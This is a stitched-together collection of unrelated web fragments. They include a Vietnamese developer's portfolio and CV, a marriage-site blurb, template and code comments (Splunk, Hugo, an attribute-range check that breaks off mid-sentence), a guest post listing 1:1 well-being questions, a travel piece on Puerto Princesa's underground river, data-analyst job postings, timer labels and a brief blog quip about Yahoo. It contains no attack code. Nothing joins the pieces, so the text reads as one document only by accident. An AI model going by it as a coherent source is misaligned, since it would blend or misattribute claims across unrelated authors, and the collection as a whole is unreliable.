Word Analysis Website - Build a word analysis website using Vuetify and Django. Click here
Calendar Website - Build a calendar website using VueJS and TailwindCSS. Click here
Mobile Products
EVLD Dictionary - Create EVLD Dictionary application for Android and published to Google Play Store. Develop faster 2 times by using Kotlin
Radio Application - Take over a project when deadline is only 1 month. Handle streaming API and user management and transfer data between devices
Chatbot Products
Las Vegas Chatbot - Build chatbot platform using Dialogflow. Update chatbot platform to use Rasa for user configuration. Configure Text-to-Speech and Speech-to-Text for chatbot
Chatbot Console - Construct console for config chatbot flow. Run responsive website for all platform (mobile, desktop, tablet..)
Design Products
Design EURO 2021 Calendar by Canva [Click here]
Research Products
Data Crawler - Crawl over 50 newspaper, blogs, Facebook post for building Vietnamese corpus
Data Wrangling - Clean over 400.000 texts from data crawler for structured corpus
Machine Learning - Refactor Pytorch syntax model for Vietnamese dependency parsing. Analysis text from wrangled data with linear & non-linear models
Natural Language Processing - Build a model for recognizing plagiarism in thesis. Adapt pre-train model for dependency parsing, with accuracy over 80%. Build dependency parsing tool accuracy over 85.83%
Conferences & Seminars
2021
The 14th National Conference on Fundamental and Applied IT Research
Present paper "Adapting Word Order Transformation For Vietnamese Dependency Parsing" at the 14th National Conference on Fundamental and Applied IT Research
2021
International Conference on “Artificial Intelligence and Big Data in Digital Era”
Present paper "Adapting Cross-lingual Model To Improve Vietnamese Dependency Parsing" at the 2021 International Conference on “Artificial Intelligence and Big Data in Digital Era”
2019
Decentralized Cryptography School (DCS'19)
Complete the 4-day workshop and seminar hosted by the University of Science, The Vietnamese National University
2018
Interdisciplinary Research in Linguistics and Language Education
Present paper "Application of stylometry in detecting plagiarism" at the 4th International conference on Interdisciplinary Research in Linguistics and Language Education held by University of Foreign Languages, Hue. University, in cooperation with Vietnam National University, Hanoi University of Languages and International Studies, The University of Danang, University of Foreign Languages Studies, Guangxi University, Hokkaido University of Education, and Buriram Rajabhat University
2018
Decentralized Cryptography School (DCS'18)
Participate in seminars and complete the courses in the Autumn School hosted by the Quy Nhon University, Vietnam
Volunteering
2019
Blood Donation Campaigns
University of Science, Hochiminh City, Vietnam
Donate blood to the Vietnam Red Cross Society every year
2017
2017 School of MEMS & Semiconductor IC Technology
VNUHCM - University of Science, Hochiminh City, Vietnam
Prepare the necessary academic materials for classes during the event
Work with participants and help them communicate with professors
Collaborate with team members to prepare devices and decorate stages
2017
Japanese Day 2017
VNUHCM - University of Science, Hochiminh City, Vietnam
Create promotional content by taking photos and editing images during the event
Provide physical and logistical support to attendees and presenters attending the event's contest
Assist to build menus in the event, as well as prepare food and beverage for 150 people
2017
Amazing Race Saigon
VNUHCM - University of Science, Hochiminh City, Vietnam
Create, organize and manage shift calendar for over 100 participants
Research and build regulation content to guide participants
Work in first aid team to take care of injured people during the event
Honours & Awards
2018
Top 30 Tech Debater
The contest had over 500 participants joining to debate about Artificial Intelligence and Machine Learning subjects
Networks and Memberships
2018
The 3rd International Student Science Forum 2018
An official member of The 3rd International Student Science Forum 2018 under the theme "Human Resources in the Industry 4.0"
Management and Leadership Skills
2019
Team leader of Decentralized Cryptography School (DCS'19)
Hosted by Quy Nhon University, Vietnam
2018
Team leader of Decentralized Cryptography School (DCS'18)
Hosted by Quy Nhon University, Vietnam


aims to formal marriage to make your dreams come true and find the best
and most suitable partner in a fast,safe and modern way which complies
with Sharia, society values and public morals, away from unsafe and
non-serious dating programs.


Make ranges for all of the available attributes.
For a category: every possible value is both the start and end of the class
For a number: use ranges that span (|max-min|/10) values
Check if the given Value is included in the given Range.
If Range is a category, Bottom equals Top, so only a check on Bottom = Value is performed.
If Range is a number, Value must be higher or equal than Bottom and


{% extends "toolkit_controls_base.html" %} {% load splunkmvc %} {% load splunk_wftoolkit %} 5: {% block title %}Sunburst - Web Framework Toolkit{% endblock title %} {% block css %} {{block.super}} {% endblock css %} {% block heading %}Sunburst{% endblock heading %} {% block explanation %}Sunburst.{% endblock explanation %} {% block example %} {% sunburst id="example-sunburst" managerid="search1" valueField="count" categoryFields="OriginState OriginCityName" %} {% endblock example %} {% block usage %}
The Sunburst shows hierarchically grouped data. This view is similar to a tree except that it uses a radial layout with the root at the center and the leaf nodes around the edges.
splunk_wftoolkit/components/sunburst/sunburst
| Name | Type | Default | Description | Try it |
managerid |
string | null | The search manager bound to the chart. | - |
chartTitle |
string | null | The name of the root node (displayed at graph center). | - |
categoryFields |
string (can be a space-separated list) |
null(defaults to all) | A list of fields by which to group children of the root node. Each field essintially indicates the group of the next level in the tree. | {% multidropdown id="group-dropdown" %} |
valueField |
string | null | Indicates the field used to determine the size of the radial groups. The default null value results in sizing based on number of chldren. | {% dropdown id="size-dropdown" default="count" %} |
formatLabel |
function | _.identity | A custom formatting function for node names. Takes each node name as an input and returns a formatted name. | {% dropdown id="label-dropdown" default="default" %} |
formatTooltip |
function | "{name}: {value}" | A custom formatting function for tooltips. Takes each node as an input and returns a formatted tooltip string. | {% dropdown id="tooltip-dropdown" default="default" %} |


Select this button to open the system Location dialog. In this dialog you can set up a Mercury PIN or specify which number is required for an outside line.


{{ partial "head.html" . }}
{{ partial "nav.html" . }}
{{ block "main" . }}{{ end }}
{{ partial "footer.html" .}} {{ partial "bootstrap-js.html" . }} {{ partial "google-analytics-async.html" . }} {{ partial "cookie-consent.html" . }}


This is a guest post from our friends at Strateamic. They know a lot about 1:1s and have built a great product to facilitate them. Feel free to reach out to them at<EMAIL_ADDRESS>The world of work has undergone a seismic shift in recent years, with the rise of hybrid and remote teams becoming the new norm. While this transition has brought with it numerous benefits, such as increased flexibility and productivity, it has also highlighted the importance of employee well-being. These days, it’s important that companies prioritize the well-being of their employees to ensure that they are able to perform at their best and maintain a healthy work-life balance.
Key Factors for Employee Well-being
There are numerous factors that can influence an employee’s well-being, some are more significant than others.
- Workload: The workload plays a crucial role in an employee’s well-being. An excessive workload can lead to stress, exhaustion, and burnout. Employers should ensure that their employees are not overburdened with work and have enough time to rest and recover.
- Motivation: Motivated employees are more likely to be productive and satisfied with their work. Employers should provide their employees with opportunities for growth and development to keep them motivated and engaged.
- Job/task clarity: Clear job descriptions and well-defined tasks can help employees understand their roles and responsibilities. This can help reduce confusion, stress, and anxiety, ultimately leading to better employee well-being.
- Social Interaction: A positive work environment that fosters social interaction can significantly improve an employee’s well-being. Employers should encourage team building activities, social events, and provide opportunities for employees to interact with each other.
- Ability to learn and room for experimentation: Employees who have the opportunity to learn and experiment with new skills and ideas are more likely to be satisfied with their work. Employers should provide opportunities for employees to develop their skills, try new things, and grow professionally.
- Autonomy: Employees who have autonomy over their work are more likely to feel in control and satisfied with their work. Employers should provide employees with the freedom to make decisions and take ownership of their work.
- Environment: A healthy work environment that is safe, comfortable, and clean can significantly contribute to employee well-being. Employers should ensure that their workspaces are well-maintained and provide ergonomic equipment and furniture.
How 1:1s can help identify issues with employee well-being
1:1 meetings can be an effective tool for identifying issues with employee well-being. During these meetings, managers can check in with employees, discuss their work, and gain insight into their emotional and mental state.
Prerequisite: build trust
First, it’s important to create a safe space for open and non-judgemental communication. The team member should be comfortable to share their thoughts and concerns, without negative consequences. It may take some time before you’ve reached a certain level of trust, before the team member can be fully open and transparent. Therefore, it’s important to do 1:1s regularly, like weekly or bi-weekly.
Once you’ve gained enough trust, you can dig into the well-being of the team member. We’ve listed a handful of questions for each key factor of employee’s well-being that you can use in your next one-on-one meeting.
Questions about workload and job/task clarity
- How do you feel about your current workload? Do you feel like you have too much, too little, or just the right amount of work?
- Are there any specific tasks or projects that are causing you stress or taking up more time than expected?
- Is there anything you need from me or the team to better manage your workload or feel more supported?
- Do you feel like you have a clear understanding of your job responsibilities and how they contribute to the team/company’s overall goals?
- Are there any tasks or projects that you feel unsure about or could use more clarification on?
Questions about motivation and social interaction
- What motivates you the most in your work?
- Is there anything I can do to help support your motivation, such as providing feedback, recognition, or other forms of support?
- Are there any team-building activities or events that you would like to see implemented to improve social interaction?
- Do you have any feedback on the current work environment or physical layout of the office that may be affecting social interaction?
Questions about ability to learn and experiment, and autonomy
- Are there any new skills or technologies that you are interested in learning to help you improve your day-to-day work?
- Have you had the opportunity to experiment with new approaches or processes in your work recently? If so, how did that go? If not, what is holding you back?
- Is there anything that you would like to experiment with or try out in your work, but haven’t had the chance to yet?
- Is there anything that you think the team or company could do to encourage more learning and experimentation among employees?
- How do you feel about the level of autonomy you have in your work?
Questions about work environment
- How do you feel about the current work environment, such as the physical workspace, noise levels, lighting, and temperature?
- Are there any changes you would suggest to improve the work environment, such as rearranging the workspace, adding plants or artwork, or adjusting the temperature or lighting?
- Have you noticed any environmental factors that are affecting your productivity or well-being, such as distractions or discomfort?
- Are there any tools or resources that you feel are missing from the work environment that could help you be more productive or comfortable, such as better technology or ergonomic furniture?
- Is there anything that you think the team or company could do to improve the overall work environment, such as implementing flexible work arrangements, creating more collaborative spaces, or providing wellness programs?
The use of 1:1 meeting software
It can be cumbersome to engage your team members with new and engaging questions for every 1:1 meeting. With Strateamic, you no longer have the burden to think of new questions. It automatically picks new questions from our database for every new 1:1 meeting. You can change or add questions as you wish, so you keep full control.
It also helps with scheduling new 1:1 meetings and tracks meeting notes and action items.
Header photo by Qingbao Meng


Penn Coding Bootcamp Final Project
We are a team of Full-Stack Web Developers who are passionate about our craft. We are committed to building websites that reflect our clients' mission and values, using proven technologies and a dedication to those we serve.
Meet the people behind this site.


Puerto Princesa Subterranean River is one of the New 7 Wonders of Nature. It is an underground River famous for its karst, stalactites and stalagmites formations. This is one of the magnificent tourist spots in Luzon that gained the attention of the world even the popular travel magazines. Puerto Princesa Subterranean River is located in Palawan, Luzon, Philippines.
Puerto Princesa Underground River, also called as Subterranean River National Park, is one of the New 7 Wonders of Nature. It is a long navigable underground river. Entering into the cave is just like entering to a new underground world, mysterious and magical. There you will be amazed by how the time and erosions made the landscapes.
Puerto Pincesa Underground River is 8.2 kilometers long. It is located in Puerto Prinsesa, Palawan. The river flows directly to the sea so the river is subject to a tidal flow, a soft sailing while enjoying the views. It has formations of stalactites and stalagmites formed over thousands of years. It is a habitat of monkeys, lizards, squirrel, bats and more species.
There is an Underground River Tour for tourist to experience and witness the beauty of Puerto Princesa but it has to be booked a week before to process the schedules since tours are limited per day. The tour inside the cave alone may take 45 minutes.
Puerto Princesa can be reached via air and sea travel. Make sure to check out what’s available in your area. Air Philippines, Philippine Airlines, Cebu Pacific have flights to Puerto Princesa and you can also catch a Superferry for sea travel.
There are public vehicles in the city proper. You can ask people for routes where you want to go. If you have booked a travel tour, make sure to communicate with them so they can pick you up.
Puerto Princesa Underground River is the longest navigable underground river in the world.


To apply, please e-mail your resume to<EMAIL_ADDRESS>Statistical Analyst
Responsibilities include:
- Conduct statistical analysis of large complex data sets from a variety of surveys as well as databases
- Design research methodologies at conceptual and applicable levels, including which would be used to normalize data sources, to convert information between Census-designated and HUD-designated areas, to improve the performance of estimators, etc.
- Produce maps and geographic information system (GIS) analyses using ArcGIS, geospatial analysis, etc.
- Ensure data quality and provide client with analysis reports pertaining to data integrity, process bias, extremely values, unusual changes and so on, using statistical computational software
- Interact directly with client and respond to general inquiries on a timely basis
- Cooperate with support staffs and provide non-technical explanation to those who are not familiar with statistical estimations and methodologies
- Identify and develop programming modules, create and update SQL, SAS and Python scripts, and generate tabulated datasets from many data sources
- Create documentations for new requirements, technical designs, testing procedures and standard operating procedures (SOPs)
Requirements:
- Bachelor's degree (a higher degree preferred) in statistics, mathematics or related quantitative fields with relevant SAS experience
- Experience in statistical analysis, system analysis and interpreting results for non-technical audiences
- Familiar with version 9: Baes SAS, SAS/STAT, SAS/MACRO, SAS/SQL, SAS/GRAPH, SAS Enterprise BI; STATA; SQL; Python
- Expertise in the production of datasets, analysis reports, tabulations, graphics and lists from various large datasets
- Experience in managing and analyzing geographic and spatial information
- Proficient in Development, tests and documentations
- SAS Certified Baes/Advanced Programmer a plus
- Strong oral and written communication skills
-------------------------------------------------------------------------------------------------------------------------------------
Database Developer
Job Description
The primary responsibility of the Database Developer will be to provide technical support and expertise in the design, implementation, query support, and maintenance of core database management systems and databases that support the data analysis, research, and reporting. This includes designing and developing databases, and processing large volumes of data using databases and data from disparate HUD data systems. The developer will also provide perform Extract, Transform, and Load (ETL) processes and run ad-hoc queries against databases and generate ad-hoc reports.
Experience Requirements:
- Perform data analysis; Create and update complex SQL queries to support data analysis using industry standard databases like MS Sqlserver, Oracle and MS Access
- Database programming, data processing functions, and Software/System Development Life Cycle Methodology. Ability to lead a task and automate work processes.
- Designing and developing relational databases in a production environment preferably HUD, based on interviews with customers and translation of very general requirements; a thorough knowledge of the syntax, capabilities, and limitations of a programming language such as T-SQL, PL/SQL as well as responsibility for implementation of the database.
- Analyze, design and code stored procedures; packages and triggers; and creating design documents for customer-specific implementation and enhancement requests.
- Extraction, transformation, and loading of large volumes of data, including automation of batch processes to reduce manual processing needs.
- Proficiency with Oracle Database Server (SQL) 11g/12c, Oracle Database administration, including database backups and restore, user creation, and role administration.
- Tool development using access or web a plus
- Manage large volume data securely
- Build tools to enable client to perform self-service Adhoc reports
- Business intelligence tool experience is a plus
- Create documentation and other system artifacts Requirements and design documents, Standard operating procedures (SOP), and test documents like test plan/test scripts.
Bachelor's degree in Computer Science, Mathematics, Information Systems, Engineering, or other related discipline.
-------------------------------------------------------------------------------------------------------------------------------------
Systems Analyst
Job Description
Cloud Nine Technologies, Inc, a growing and dynamic consulting company is looking for a Systems Analyst with a strong analytical skills and hands-on experience in building Business Intelligence applications using tools like Micro-strategy, SAS, Tableau etc. in building Dashboards, drill down reports, mobile applications, OLAP cubes, Custom Groups, Metrics etc.
Responsibilities include:
- Participate in Business Intelligence solution life cycle (design, development, test, implementation and product support) using scrum and other agile methodologies
- Collaborate with cross-functional teams and business owners to gather requirements, develop specifications and recommend appropriate solutions based on program design, user experience, historical data and system functionality
- Develop test protocols or plan for testing revised application and review test results
- Work closely with DBA’s on data modeling, database changes and SQL performance tuning; and Support the quality testing process, write up technical requirement documents, attend client meetings, and document all requested changes
- Analyzes specifications, formulates programming approaches, and validates requirements with clients
- Defines procedures for producing verifiable results. Identifies and develops programming modules
- Provides quality control pertaining to program output and data files
- Create Data dictionary and file layouts; Develop crosswalks data sets
- Ability to create and update SQL queries
- Creating and validating data reports
- Create documentation – Requirements, Technical design, testing procedures and Standard operating procedures (SOPs)
Requirements:
- M.S or equivalent or B.S. Plus 5 years of experience in Computer Science, Engineering or Related Field.
- Expertise in the production of datasets, analyses, tabulations, graphics and listings from large datasets
- Proficient in Development, testing and documentation
- Strong oral and written communication skills


Hours
Minutes
Seconds
Start
Stop
00:00:00
15 Secs
30 Secs
45 Secs
1 Minutes
2 Minutes
3 Minutes
4 Minutes
5 Minutes
10 Minutes
15 Minutes
20 Minutes
1 Hour


--- layout: post title: Now that's just plain cheeky tags: - Business status: publish type: post published: true meta: _edit_last: '451289' --- BBC NEWS | Business | Analysis: Microsoft without Yahoo
Yahoo likes to write its name with an exclamation mark at the end - "Yahoo!". This might be the right time to update the branding: How about "Yahoo?".A bit below the belt perhaps , but bloody funny.